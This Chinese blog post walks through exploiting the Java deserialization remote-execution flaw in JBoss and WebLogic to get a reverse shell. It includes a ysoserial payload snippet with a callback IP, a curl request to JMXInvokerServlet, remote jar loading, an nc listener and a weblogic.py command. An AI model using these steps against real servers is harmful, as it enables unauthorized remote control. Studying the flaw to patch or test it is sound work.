首页 > 渗透测试 > JAVA反序列化命令执行漏洞利用详情(Jboss反弹SHELL)
2015
12-05

JAVA反序列化命令执行漏洞利用详情(Jboss反弹SHELL)

前不久爆出的Java反序列化命令执行漏洞,一直没有进行测试。最近遇到个Jboss的站点,就抽空测试学习了一下利用的方法,过程中遇到很多坑啊,请教了很多小伙伴,非常感谢紫霞仙子大师傅的指点。

随风师傅的博客上有具体的漏洞原理分析:

http://www.iswin.org/2015/11/13/Apache-CommonsCollections-Deserialized-Vulnerability/

利用给出的POC,先进行payload的生成,使用eclipse就可以搞定,需要导入外部的ysoserial.jar这个JAR包,如图:

JAVA反序列化命令执行漏洞利用详情(Jboss反弹SHELL) - 第1张  | 阿德马Web安全

 

 

 

 

 

 

 

 

POC代码中可以修改反弹SHELL的外网IP地址和端口,代码段:

	public static void main(final String[] args) throws Exception {

		final Object objBefore = CommonsCollections1.class.newInstance()
				.getObject("10.18.180.34:8080");

随风给的反弹SHELL的原理:

反弹shell的原理,通过classload从我博客远程加载一个http://www.isiwn.org/attach/iswin.jar文件,然后进行实例化,博客上的jar文件里面包含了反弹shell的脚本,将类加载到本地后实例化实例化时在构造方法中执行反弹shell的payload。

生成二进制的payload之后,使用curl命令提交请求,这个POC生成的payload不管目标是win或者linux都是可以反弹成功的。具体命令如下:

curl --header "Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue" --data-binary "@payloads.bin" http://www.nxadmin.com/invoker/JMXInvokerServlet

payloads.bin文件就是生成的二进制payload,curl之后在自己的服务器用nc监听就可以获取到反弹的shell了。如图:

JAVA反序列化命令执行漏洞利用详情(Jboss反弹SHELL) - 第2张  | 阿德马Web安全

 

 

 

 

 

 

成功获取到反弹的shell,如图:

JAVA反序列化命令执行漏洞利用详情(Jboss反弹SHELL) - 第3张  | 阿德马Web安全

 

 

 

 

 

 

 

 

 

 

 

 

 

weblogic的JAVA反序列话命令执行漏洞利用方式也是差不多的,用上文中生成的payload,利用老外写的python脚本,执行如下命令:

./weblogic.py  www.nxadmin.com 8080 payloads.bin

如图所示:

JAVA反序列化命令执行漏洞利用详情(Jboss反弹SHELL) - 第4张  | 阿德马Web安全

 

 

 

 

 

 

 

执行之后,去payload中定义的自己的服务器,用NC监听,就能收到反弹的shell。如图:

JAVA反序列化命令执行漏洞利用详情(Jboss反弹SHELL) - 第5张  | 阿德马Web安全

 

 

 

 

 

 

 

 

 

 

 

 

最后编辑:
作者:admin
这个作者貌似有点懒,什么都没有留下。

留下一个回复

你的email不会被公开。